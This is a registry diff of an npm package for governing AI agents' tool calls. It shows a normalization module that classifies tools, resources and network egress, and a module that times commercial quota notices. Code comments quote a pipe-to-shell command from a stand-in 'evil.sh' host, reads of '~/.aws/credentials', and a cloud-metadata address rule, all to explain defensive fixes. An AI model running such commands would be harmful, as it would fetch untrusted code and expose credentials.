@cirvix_ai/agent-control 0.1.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (45) hide show
  1. package/LICENSE +202 -0
  2. package/NOTICE +42 -0
  3. package/README.md +341 -0
  4. package/action/README.md +100 -0
  5. package/action/action.yml +134 -0
  6. package/action/report.mjs +144 -0
  7. package/bin/cirvix.mjs +1073 -0
  8. package/package.json +60 -0
  9. package/src/commands/demo.mjs +315 -0
  10. package/src/commands/init.mjs +558 -0
  11. package/src/commands/policy.mjs +345 -0
  12. package/src/commands/sarif.mjs +176 -0
  13. package/src/commands/scan.mjs +210 -0
  14. package/src/commands/status.mjs +208 -0
  15. package/src/commands/upgrade.mjs +162 -0
  16. package/src/core/approvals.mjs +388 -0
  17. package/src/core/audit.mjs +181 -0
  18. package/src/core/canonical.mjs +316 -0
  19. package/src/core/daemon.mjs +352 -0
  20. package/src/core/decisions.mjs +253 -0
  21. package/src/core/delegation.mjs +658 -0
  22. package/src/core/detect.mjs +337 -0
  23. package/src/core/entitlement-gate.mjs +100 -0
  24. package/src/core/entitlements.mjs +285 -0
  25. package/src/core/format.mjs +33 -0
  26. package/src/core/gateway.mjs +959 -0
  27. package/src/core/guard.mjs +568 -0
  28. package/src/core/http-transport.mjs +505 -0
  29. package/src/core/journal.mjs +419 -0
  30. package/src/core/jsonrpc.mjs +152 -0
  31. package/src/core/meter.mjs +225 -0
  32. package/src/core/normalize.mjs +516 -0
  33. package/src/core/notices.mjs +80 -0
  34. package/src/core/pipeline.mjs +629 -0
  35. package/src/core/policy-dsl.mjs +611 -0
  36. package/src/core/policy.mjs +710 -0
  37. package/src/core/prompts.mjs +146 -0
  38. package/src/core/risk.mjs +509 -0
  39. package/src/core/sanitize.mjs +279 -0
  40. package/src/core/secret-detect.mjs +533 -0
  41. package/src/core/secrets.mjs +312 -0
  42. package/src/core/uds.mjs +383 -0
  43. package/src/core/vault.mjs +530 -0
  44. package/src/index.mjs +143 -0
  45. package/src/testing.mjs +145 -0
@@ -0,0 +1,516 @@
1
+ /**
2
+ * Tool-call normalization — the agent-neutral envelope.
3
+ *
4
+ * This is the module that makes Cirvix a control plane rather than an MCP
5
+ * proxy. Every request, whatever spoke it, becomes one shape:
6
+ *
7
+ * {
8
+ * request_id: "req_8a91…",
9
+ * agent: "claude-code",
10
+ * tool: "filesystem.read",
11
+ * action: "fs.read",
12
+ * arguments: { path: "./src/app.ts" },
13
+ * resource: "/abs/path/src/app.ts",
14
+ * source: "mcp",
15
+ * timestamp: "2026-08-12T…",
16
+ * risk: "low"
17
+ * }
18
+ *
19
+ * After this point nothing downstream knows or cares whether the call arrived
20
+ * over MCP stdio, MCP HTTP, the UDS socket, or `guard.wrap()` inside a LangGraph
21
+ * executor. The policy engine sees one vocabulary; a rule written once governs
22
+ * every agent that will ever connect.
23
+ *
24
+ * TWO NAMES FOR THE SAME THING, ON PURPOSE
25
+ *
26
+ * `tool` is the canonical *public* name — `filesystem.read`, `shell.exec`,
27
+ * `database.write` — which is what people write in policy files and what the
28
+ * console displays. `action` is the terse internal vocabulary the deployed
29
+ * engine already uses — `fs.read`, `shell.exec`, `db.write`.
30
+ *
31
+ * Carrying both is not redundancy. Policy files in the wild are written against
32
+ * `action`, and renaming it would silently break every deployed rule set; the
33
+ * blueprint and the docs are written against `tool`, and a product whose docs
34
+ * do not match its policy syntax is a product nobody can configure. So both are
35
+ * present, `ALIASES` maps every spelling to one canonical pair, and a rule
36
+ * matching either form matches the same calls.
37
+ */
38
+
39
+ import { classify } from "./risk.mjs";
40
+ import { canonicalizeResource } from "./policy.mjs";
41
+ import { canonicalHost, canonicalUrl } from "./canonical.mjs";
42
+
43
+ /* -------------------------------------------------------------------------- */
44
+ /* Taxonomy */
45
+ /* -------------------------------------------------------------------------- */
46
+
47
+ /**
48
+ * The canonical tool namespace.
49
+ *
50
+ * `tool` is the public name; `action` is what the engine matches on. Ordered
51
+ * most-specific first — `git.status` must be recognised before a generic
52
+ * `*.status` would catch it.
53
+ */
54
+ export const TAXONOMY = [
55
+ // Version control — read-only, the LOW baseline.
56
+ { tool: "git.status", action: "vcs.read", match: /^git[._ -]?(status|st)$/i },
57
+ { tool: "git.log", action: "vcs.read", match: /^git[._ -]?(log|history)$/i },
58
+ { tool: "git.diff", action: "vcs.read", match: /^git[._ -]?(diff|show)$/i },
59
+ { tool: "git.branch", action: "vcs.write", match: /^git[._ -]?(branch|checkout|switch)$/i },
60
+ { tool: "git.commit", action: "vcs.write", match: /^git[._ -]?commit$/i },
61
+ { tool: "git.push", action: "vcs.push", match: /^git[._ -]?push$/i },
62
+
63
+ // Filesystem.
64
+ { tool: "filesystem.read", action: "fs.read", match: /(^|[._-])(read|cat|open|load|slurp)([._-]|$)/i },
65
+ { tool: "filesystem.list", action: "fs.list", match: /(^|[._-])(list|ls|dir|readdir|tree|glob)([._-]|$)/i },
66
+ { tool: "filesystem.search", action: "fs.search", match: /(^|[._-])(search|find|grep|rg|ripgrep)([._-]|$)/i },
67
+ { tool: "filesystem.stat", action: "fs.stat", match: /(^|[._-])(stat|exists|metadata)([._-]|$)/i },
68
+ { tool: "filesystem.write", action: "fs.write", match: /(^|[._-])(write|create|put|save|edit|patch|append|touch|mkdir)([._-]|$)/i },
69
+ { tool: "filesystem.delete", action: "fs.delete", match: /(^|[._-])(delete|remove|rm|unlink|rmdir)([._-]|$)/i },
70
+ { tool: "filesystem.move", action: "fs.move", match: /(^|[._-])(move|mv|rename|copy|cp)([._-]|$)/i },
71
+
72
+ // Execution.
73
+ { tool: "shell.exec", action: "shell.exec", match: /(^|[._-])(exec|execute|run|shell|bash|sh|zsh|powershell|cmd|command|spawn|terminal)([._-]|$)/i },
74
+ { tool: "package.install", action: "pkg.install", match: /(^|[._-])(install|add[-_]?dependency|npm[-_]?install|pip[-_]?install)([._-]|$)/i },
75
+
76
+ // Data.
77
+ { tool: "database.query", action: "db.read", match: /(^|[._-])(query|select|find[-_]?one|find[-_]?many|fetch[-_]?rows)([._-]|$)/i },
78
+ { tool: "database.write", action: "db.write", match: /(^|[._-])(insert|update|upsert|delete[-_]?row|execute[-_]?sql|mutate)([._-]|$)/i },
79
+ { tool: "database.migrate", action: "db.migrate", match: /(^|[._-])(migrate|migration|schema[-_]?change)([._-]|$)/i },
80
+
81
+ // Network.
82
+ { tool: "network.request", action: "http.request", match: /(^|[._-])(request|http|https|fetch|curl|get[-_]?url|post|browse|scrape|crawl|web[-_]?search)([._-]|$)/i },
83
+
84
+ // Infrastructure.
85
+ { tool: "deploy.apply", action: "k8s.apply", match: /(^|[._-])(apply|deploy|rollout|release|promote|helm|terraform)([._-]|$)/i },
86
+
87
+ // Credentials.
88
+ { tool: "secrets.get", action: "secrets.read", match: /(^|[._-])(secret|credential|token|password|vault|keychain)([._-]|$)/i },
89
+ ];
90
+
91
+ /**
92
+ * Spellings that mean the same action.
93
+ *
94
+ * Consulted when a policy rule names an action, so `filesystem.read` and
95
+ * `fs.read` are one rule and neither breaks. Bidirectional by construction: the
96
+ * canonical form maps to itself.
97
+ */
98
+ export const ALIASES = new Map();
99
+ for (const entry of TAXONOMY) {
100
+ ALIASES.set(entry.tool, entry.action);
101
+ ALIASES.set(entry.action, entry.action);
102
+ }
103
+ // Spellings people write that are not a taxonomy entry's primary name.
104
+ for (const [alias, action] of Object.entries({
105
+ "fs.*": "fs.*",
106
+ "file.read": "fs.read",
107
+ "file.write": "fs.write",
108
+ "files.read": "fs.read",
109
+ "filesystem.*": "fs.*",
110
+ "network.*": "http.*",
111
+ "net.request": "http.request",
112
+ "http.get": "http.request",
113
+ "http.post": "http.request",
114
+ "shell.run": "shell.exec",
115
+ "process.spawn": "shell.exec",
116
+ "command.execute": "shell.exec",
117
+ "db.*": "db.*",
118
+ "database.*": "db.*",
119
+ "sql.execute": "db.write",
120
+ "k8s.deploy": "k8s.apply",
121
+ "kubernetes.apply": "k8s.apply",
122
+ })) {
123
+ ALIASES.set(alias, action);
124
+ }
125
+
126
+ /** Resolves any spelling of an action to its canonical form. */
127
+ export function canonicalAction(name) {
128
+ if (typeof name !== "string" || !name) return name;
129
+ const direct = ALIASES.get(name);
130
+ if (direct) return direct;
131
+ // `filesystem.**` → `fs.**`, so glob patterns alias too.
132
+ const prefixed = name.replace(/^(filesystem|file|files)\./, "fs.").replace(/^(network|net)\./, "http.").replace(/^database\./, "db.");
133
+ return ALIASES.get(prefixed) ?? prefixed;
134
+ }
135
+
136
+ /** The public name for a canonical action, for display. */
137
+ export function publicToolName(action) {
138
+ const entry = TAXONOMY.find((t) => t.action === action);
139
+ return entry?.tool ?? action;
140
+ }
141
+
142
+ /**
143
+ * Classifies a raw tool name into `{ tool, action }`.
144
+ *
145
+ * An unrecognised name is NOT forced into the nearest bucket. It keeps its own
146
+ * namespaced identity (`mcp.<server>.<tool>`) and policy must name it
147
+ * explicitly. Guessing here would be the worst possible failure: a tool that
148
+ * deletes production data, misfiled as `fs.read` because it was called `getRid`,
149
+ * would inherit a read rule's permission.
150
+ */
151
+ /**
152
+ * Names that say "this operates on a file", whatever verb they use.
153
+ *
154
+ * Checked before the suffix patterns because the verb alone is ambiguous and
155
+ * the ambiguity is dangerous in one specific direction: `fetch_file` matched
156
+ * `network.request` (which contains `fetch`) and was therefore governed by the
157
+ * egress rules instead of the filesystem ones — so a tool named `fetch_file`
158
+ * could read `~/.aws/credentials` while every credential rule in the policy
159
+ * looked on. `get_file`, `load_file`, and `file_get_contents` had the same
160
+ * shape. The generated corpus found all four.
161
+ *
162
+ * A name that mentions a file is a filesystem operation. The verb then decides
163
+ * which one.
164
+ */
165
+ const FILE_SUBJECT = /(^|[._-])(file|files|filepath|path|dir|directory|folder)([._-]|s?$)/i;
166
+
167
+ /**
168
+ * Names that say "this goes over the network", whatever else they contain.
169
+ *
170
+ * Checked before the taxonomy for the same reason `FILE_SUBJECT` is, and
171
+ * because of a symmetric failure: `web_search` matched `filesystem.search`
172
+ * (which owns the `search` suffix and is listed earlier), so a web search was
173
+ * governed by the workspace-path rules and default-denied. `browser_fetch`,
174
+ * `http_get`, and `url_open` had the same shape.
175
+ *
176
+ * The subject wins over the verb: a name that says `web`, `url`, `http`, or
177
+ * `browser` is a network call regardless of what it does there.
178
+ */
179
+ const NETWORK_SUBJECT = /(^|[._-])(web|url|uri|http|https|browser|internet|remote|api)([._-]|$)/i;
180
+
181
+ /**
182
+ * Splits camelCase into the underscore form the patterns are written against.
183
+ *
184
+ * `readFile` matched nothing at all: the `filesystem.read` pattern needs a
185
+ * separator or end-of-string after `read`, and camelCase provides neither, so
186
+ * the tool fell through to `tool.readFile` and was default-denied. `readFile`
187
+ * is one of the most common MCP tool names in existence, so this was not an
188
+ * edge case — the generated corpus surfaced 135 false positives from it.
189
+ *
190
+ * Applied only for matching. The recorded `raw_tool` keeps the original
191
+ * spelling, because the audit record must say what the agent actually called.
192
+ */
193
+ export function splitCamelCase(name) {
194
+ return String(name ?? "")
195
+ .replace(/([a-z0-9])([A-Z])/g, "$1_$2")
196
+ .replace(/([A-Z]+)([A-Z][a-z])/g, "$1_$2")
197
+ .toLowerCase();
198
+ }
199
+
200
+ /** Verbs, once the subject is known to be a file. */
201
+ const FILE_VERBS = [
202
+ { action: "fs.delete", match: /(^|[._-])(delete|remove|rm|unlink|destroy)([._-]|$)/i },
203
+ { action: "fs.write", match: /(^|[._-])(write|create|put|save|edit|patch|append|touch|mkdir|upload)([._-]|$)/i },
204
+ { action: "fs.move", match: /(^|[._-])(move|mv|rename|copy|cp)([._-]|$)/i },
205
+ { action: "fs.list", match: /(^|[._-])(list|ls|dir|readdir|tree|glob)([._-]|$)/i },
206
+ { action: "fs.search", match: /(^|[._-])(search|find|grep|rg)([._-]|$)/i },
207
+ { action: "fs.stat", match: /(^|[._-])(stat|exists|metadata|info)([._-]|$)/i },
208
+ // Read last: it is the fallback for anything that names a file and does not
209
+ // say it is changing it. Erring toward "read" is right here — the read rules
210
+ // are the strict ones, so a misfile lands on the safer side.
211
+ { action: "fs.read", match: /.*/ },
212
+ ];
213
+
214
+ export function classifyTool(name, server = null) {
215
+ const raw = String(name ?? "");
216
+
217
+ // An exact canonical name short-circuits the regexes.
218
+ //
219
+ // Not an optimization — a correctness fix. The suffix patterns are matched in
220
+ // order, and `database.write` hit `filesystem.write`'s `(write)$` rule first,
221
+ // so a call already named with the canonical database action was governed by
222
+ // filesystem rules. Anything that already spells a taxonomy name means that
223
+ // name, and no amount of pattern reordering makes that safe to infer twice.
224
+ const exact = TAXONOMY.find((t) => t.tool === raw || t.action === raw);
225
+ if (exact) return { tool: exact.tool, action: exact.action };
226
+
227
+ const aliased = ALIASES.get(raw);
228
+ if (aliased) {
229
+ const entry = TAXONOMY.find((t) => t.action === aliased);
230
+ if (entry) return { tool: entry.tool, action: entry.action };
231
+ }
232
+
233
+ /*
234
+ * Everything below matches against the camelCase-split form.
235
+ *
236
+ * The patterns are written with `[._-]` separators, so `readFile` matched
237
+ * none of them and was default-denied. Splitting first means `readFile`,
238
+ * `read_file`, and `read-file` are one tool.
239
+ */
240
+ const spelled = splitCamelCase(raw);
241
+
242
+ // A name that says network is a network call, whatever verb it uses. First,
243
+ // because `web_search` would otherwise be claimed by `filesystem.search`.
244
+ if (NETWORK_SUBJECT.test(spelled)) {
245
+ const entry = TAXONOMY.find((t) => t.action === "http.request");
246
+ if (entry) return { tool: entry.tool, action: entry.action };
247
+ }
248
+
249
+ // A name that says "file" is a filesystem operation, whatever verb it uses.
250
+ // This runs before the suffix patterns so `fetch_file` cannot be captured by
251
+ // `network.request` — see FILE_SUBJECT.
252
+ if (FILE_SUBJECT.test(spelled)) {
253
+ const verb = FILE_VERBS.find((v) => v.match.test(spelled));
254
+ const entry = TAXONOMY.find((t) => t.action === verb.action);
255
+ if (entry) return { tool: entry.tool, action: entry.action };
256
+ }
257
+
258
+ for (const entry of TAXONOMY) {
259
+ if (entry.match.test(spelled)) return { tool: entry.tool, action: entry.action };
260
+ }
261
+
262
+ const fallback = server ? `mcp.${server}.${raw}` : `tool.${raw}`;
263
+ return { tool: fallback, action: fallback };
264
+ }
265
+
266
+ /* -------------------------------------------------------------------------- */
267
+ /* Request ids */
268
+ /* -------------------------------------------------------------------------- */
269
+
270
+ let counter = 0;
271
+
272
+ /**
273
+ * A short, sortable, collision-resistant id.
274
+ *
275
+ * Time-prefixed so ids sort chronologically in a log tail, which is how they
276
+ * are actually read. The counter disambiguates calls inside the same
277
+ * millisecond — a busy agent makes several, and two records sharing an id makes
278
+ * `cirvix replay` ambiguous.
279
+ */
280
+ export function requestId(prefix = "req") {
281
+ counter = (counter + 1) % 0xffff;
282
+ const t = Date.now().toString(36).padStart(9, "0");
283
+ const n = counter.toString(36).padStart(3, "0");
284
+ return `${prefix}_${t}${n}`;
285
+ }
286
+
287
+ /* -------------------------------------------------------------------------- */
288
+ /* Normalization */
289
+ /* -------------------------------------------------------------------------- */
290
+
291
+ /** Where a call entered the runtime. */
292
+ export const SOURCE = {
293
+ MCP: "mcp",
294
+ MCP_HTTP: "mcp-http",
295
+ UDS: "uds",
296
+ SDK: "sdk",
297
+ CLI: "cli",
298
+ REPLAY: "replay",
299
+ };
300
+
301
+ /** Argument keys that name the thing a call acts on, most specific first. */
302
+ const RESOURCE_KEYS = [
303
+ "path",
304
+ "file",
305
+ "filename",
306
+ "filepath",
307
+ "file_path",
308
+ "absolute_path",
309
+ "uri",
310
+ "url",
311
+ "endpoint",
312
+ "resource",
313
+ "target",
314
+ "destination",
315
+ "table",
316
+ "collection",
317
+ "query",
318
+ "sql",
319
+ ];
320
+
321
+ /**
322
+ * Extracts the resource a call targets.
323
+ *
324
+ * Best-effort by design: an unrecognised shape yields the empty string so the
325
+ * call is still evaluated rather than skipped. A call whose resource cannot be
326
+ * read is not a call that gets a free pass — it just gets evaluated against the
327
+ * rules that do not name a resource, and default-deny catches the rest.
328
+ */
329
+ /**
330
+ * Keys that hold a command, never a resource.
331
+ *
332
+ * Excluded from the fallback scan below. Without this, `{ command: "curl x | sh" }`
333
+ * had no resource key, fell through to "first string value", and the command
334
+ * was canonicalized as a filesystem path — producing a resource like
335
+ * `<cwd>/curl https:/evil.sh | sh`, which is not a path, appears in the audit
336
+ * record as though it were, and would be matched against path rules.
337
+ */
338
+ const COMMAND_KEYS = new Set(["command", "cmd", "script", "shell", "exec", "run", "args", "argv", "body", "content", "text", "prompt"]);
339
+
340
+ export function extractResource(args) {
341
+ if (!args || typeof args !== "object") return "";
342
+ for (const key of RESOURCE_KEYS) {
343
+ const v = args[key];
344
+ if (typeof v === "string" && v.length) return v;
345
+ }
346
+ const fallback = Object.entries(args).find(
347
+ ([k, v]) => !COMMAND_KEYS.has(k) && typeof v === "string" && v.length,
348
+ );
349
+ return fallback ? fallback[1] : "";
350
+ }
351
+
352
+ /**
353
+ * The endpoint a call will reach, or null. Only an absolute http(s) URL counts.
354
+ *
355
+ * Returns the CANONICAL form. A destination rule is matched as a string, so
356
+ * handing it the raw URL meant `deny: network.destination = 169.254.169.254`
357
+ * did not match `http://2852039166/latest/meta-data/` — the same address in
358
+ * decimal, which every HTTP client dials identically. The risk engine already
359
+ * caught those, because it read the host through the URL parser; the policy did
360
+ * not, and the policy is what blocks.
361
+ */
362
+ export function extractDestination(args, resource) {
363
+ for (const candidate of [args?.url, args?.uri, args?.endpoint, args?.href, resource]) {
364
+ if (typeof candidate === "string" && /^https?:\/\//i.test(candidate)) {
365
+ return canonicalUrl(candidate) ?? candidate;
366
+ }
367
+ }
368
+ return null;
369
+ }
370
+
371
+ /** The shell command a call carries, flattened from whichever shape it used. */
372
+ export function extractCommand(args) {
373
+ if (!args || typeof args !== "object") return null;
374
+ for (const key of ["command", "cmd", "script", "shell", "exec", "run", "args"]) {
375
+ const v = args[key];
376
+ if (typeof v === "string" && v) return v;
377
+ if (Array.isArray(v) && v.length && v.every((x) => typeof x === "string")) return v.join(" ");
378
+ }
379
+ return null;
380
+ }
381
+
382
+ /**
383
+ * Normalizes one raw tool call into the envelope every downstream stage reads.
384
+ *
385
+ * @param {object} raw
386
+ * @param {string} raw.tool the tool name as the caller spelled it
387
+ * @param {string|null} [raw.server] MCP server, when there is one
388
+ * @param {object} [raw.arguments]
389
+ * @param {object} [ctx]
390
+ * @param {string} [ctx.agent]
391
+ * @param {string} [ctx.source]
392
+ * @param {string} [ctx.cwd]
393
+ * @param {string} [ctx.environment]
394
+ * @param {boolean} [ctx.touchedSecret]
395
+ * @param {number} [ctx.secretsDetected]
396
+ * @param {string} [ctx.runId]
397
+ * @param {string} [ctx.timestamp] injected for reproducible tests
398
+ * @returns {object} the normalized call, including its risk classification
399
+ */
400
+ export function normalize(raw, ctx = {}) {
401
+ const args = raw.arguments ?? raw.args ?? {};
402
+ const server = raw.server ?? null;
403
+ const { tool, action } = classifyTool(raw.tool, server);
404
+
405
+ const cwd = ctx.cwd ?? process.cwd();
406
+ const rawResource = extractResource(args);
407
+ const resource = rawResource ? canonicalizeResource(rawResource, cwd) : "";
408
+ const destination = extractDestination(args, rawResource);
409
+ const command = extractCommand(args);
410
+
411
+ const insideWorkspace = isInsideWorkspace(cwd, resource);
412
+ const egress = classifyEgress(destination ?? rawResource);
413
+
414
+ const call = {
415
+ request_id: raw.request_id ?? requestId(),
416
+ run_id: ctx.runId ?? null,
417
+ agent: ctx.agent ?? "unknown",
418
+ source: ctx.source ?? SOURCE.MCP,
419
+ timestamp: ctx.timestamp ?? new Date().toISOString(),
420
+
421
+ // Identity of the call.
422
+ tool,
423
+ action,
424
+ server,
425
+ raw_tool: String(raw.tool ?? ""),
426
+
427
+ // What it acts on.
428
+ arguments: args,
429
+ resource,
430
+ raw_resource: rawResource,
431
+ destination,
432
+ command,
433
+ sql: typeof args.sql === "string" ? args.sql : typeof args.query === "string" ? args.query : null,
434
+
435
+ // Environment the decision depends on.
436
+ environment: ctx.environment ?? "local",
437
+ insideWorkspace,
438
+ egress,
439
+ touchedSecret: Boolean(ctx.touchedSecret),
440
+ secretsDetected: ctx.secretsDetected ?? 0,
441
+ };
442
+
443
+ const risk = classify(call);
444
+ call.risk = risk.level;
445
+ call.risk_signals = risk.signals.map((s) => s.id);
446
+ call.risk_reason = risk.reason;
447
+
448
+ return call;
449
+ }
450
+
451
+ /**
452
+ * The context object the policy engine reads conditions against.
453
+ *
454
+ * Built from a normalized call so the two can never disagree about, say,
455
+ * whether a path was inside the workspace. A second implementation of this
456
+ * mapping is a second policy.
457
+ */
458
+ export function policyContext(call) {
459
+ return {
460
+ environment: call.environment,
461
+ path: { insideWorkspace: call.insideWorkspace },
462
+ egress: {
463
+ external: call.egress === "external",
464
+ internal: call.egress === "internal",
465
+ allowlisted: Boolean(call.allowlisted),
466
+ destination: call.destination,
467
+ },
468
+ session: { touchedSecret: call.touchedSecret },
469
+ mcp: { server: call.server, tool: call.raw_tool },
470
+ risk: call.risk,
471
+ tool: call.tool,
472
+ command: call.command,
473
+ secrets: { detected: call.secretsDetected },
474
+ };
475
+ }
476
+
477
+ /** The policy request for a normalized call. */
478
+ export function policyRequest(call) {
479
+ return {
480
+ agent: call.agent,
481
+ action: call.action,
482
+ resource: call.resource,
483
+ context: policyContext(call),
484
+ };
485
+ }
486
+
487
+ /* -------------------------------------------------------------------------- */
488
+
489
+ function isInsideWorkspace(cwd, resource) {
490
+ if (!resource) return true;
491
+ if (/^[a-z][a-z0-9+.-]*:\/\//i.test(resource)) return false;
492
+ const norm = (s) => String(s).replace(/\\/g, "/").replace(/\/+$/, "").toLowerCase();
493
+ const abs = /^([A-Za-z]:|\/)/.test(resource) ? resource : `${cwd}/${resource}`;
494
+ const parts = [];
495
+ for (const seg of norm(abs).split("/")) {
496
+ if (seg === "..") parts.pop();
497
+ else if (seg !== ".") parts.push(seg);
498
+ }
499
+ const flat = parts.join("/");
500
+ const root = norm(cwd);
501
+ return flat === root || flat.startsWith(root + "/");
502
+ }
503
+
504
+ function classifyEgress(target) {
505
+ if (typeof target !== "string" || !/^https?:\/\//i.test(target)) return "none";
506
+ let host;
507
+ try {
508
+ host = new URL(target).hostname.toLowerCase();
509
+ } catch {
510
+ return "external";
511
+ }
512
+ if (/^(localhost|127\.|0\.0\.0\.0|::1)/.test(host)) return "none";
513
+ if (/^(10\.|192\.168\.|172\.(1[6-9]|2\d|3[01])\.|169\.254\.)/.test(host)) return "internal";
514
+ if (/\.(internal|local|localdomain|test|invalid)$/.test(host)) return "internal";
515
+ return "external";
516
+ }
@@ -0,0 +1,80 @@
1
+ /**
2
+ * When a commercial notice is shown, and to which stream.
3
+ *
4
+ * WHY THIS FILE EXISTS
5
+ *
6
+ * `prompts.mjs` had the copy — quota reached, agent limit reached, the one
7
+ * soft nudge — written carefully, tested, and imported by nothing. `Meter`
8
+ * had `shouldNudge()`, called by nothing. So the wording that the whole
9
+ * conversion argument depends on was never shown to anybody.
10
+ *
11
+ * `prompts.mjs` deliberately decides nothing: it is strings, and it says so.
12
+ * This file is the missing half — the decision about when to speak — kept out
13
+ * of the CLI so it can be tested without a terminal.
14
+ *
15
+ * STDERR, ALWAYS
16
+ *
17
+ * The gateway's stdout carries MCP protocol frames. A notice written there
18
+ * corrupts the wire and the agent fails in a way nobody will attribute to a
19
+ * marketing line. Every notice goes to stderr, on every path, so there is no
20
+ * per-call-site judgement to get wrong.
21
+ *
22
+ * AT MOST ONCE EACH
23
+ *
24
+ * The limit notice fires on the transition into the limit, not on every
25
+ * refused call after it — a process that keeps calling past its quota would
26
+ * otherwise print the same paragraph hundreds of times. The nudge is once per
27
+ * day and `Meter` owns that flag.
28
+ */
29
+
30
+ import { agentLimitReached, quotaReached, softNudge } from "./prompts.mjs";
31
+
32
+ /**
33
+ * Builds the per-decision notice hook.
34
+ *
35
+ * @param {object} opts
36
+ * @param {object|null} opts.licence
37
+ * @param {object|null} opts.meter
38
+ * @param {(s:string)=>void} opts.write receives an already-formatted block
39
+ * @returns {(decision:object)=>void}
40
+ */
41
+ export function commercialNotices({ licence, meter, write }) {
42
+ if (!licence || !meter) return () => {};
43
+
44
+ let saidQuota = false;
45
+ let saidAgents = false;
46
+
47
+ return function notice(decision) {
48
+ if (!decision) return;
49
+
50
+ // The two cores name the deciding rule differently on the way out: a
51
+ // Guard decision carries `rule`, a Pipeline audit event renames it to
52
+ // `policy`. Accepting both is cheaper than making either caller remember,
53
+ // and getting it wrong here fails silently — which is the failure mode
54
+ // this whole file exists to correct.
55
+ const rule = decision.rule ?? decision.policy;
56
+
57
+ if (rule === "quota-exhausted") {
58
+ if (saidQuota) return;
59
+ saidQuota = true;
60
+ const text = quotaReached(licence);
61
+ if (text) write(`\n${text}\n`);
62
+ return;
63
+ }
64
+
65
+ if (rule === "agent-limit") {
66
+ if (saidAgents) return;
67
+ saidAgents = true;
68
+ const text = agentLimitReached(licence);
69
+ if (text) write(`\n${text}\n`);
70
+ return;
71
+ }
72
+
73
+ // A permitted call. Ask the meter whether today's single nudge is still
74
+ // owed; `shouldNudge` marks it shown in the same call, so two callers
75
+ // cannot both decide to print it.
76
+ const used = meter.used();
77
+ const text = softNudge(licence, used);
78
+ if (text && meter.shouldNudge()) write(`\n${text}\n`);
79
+ };
80
+ }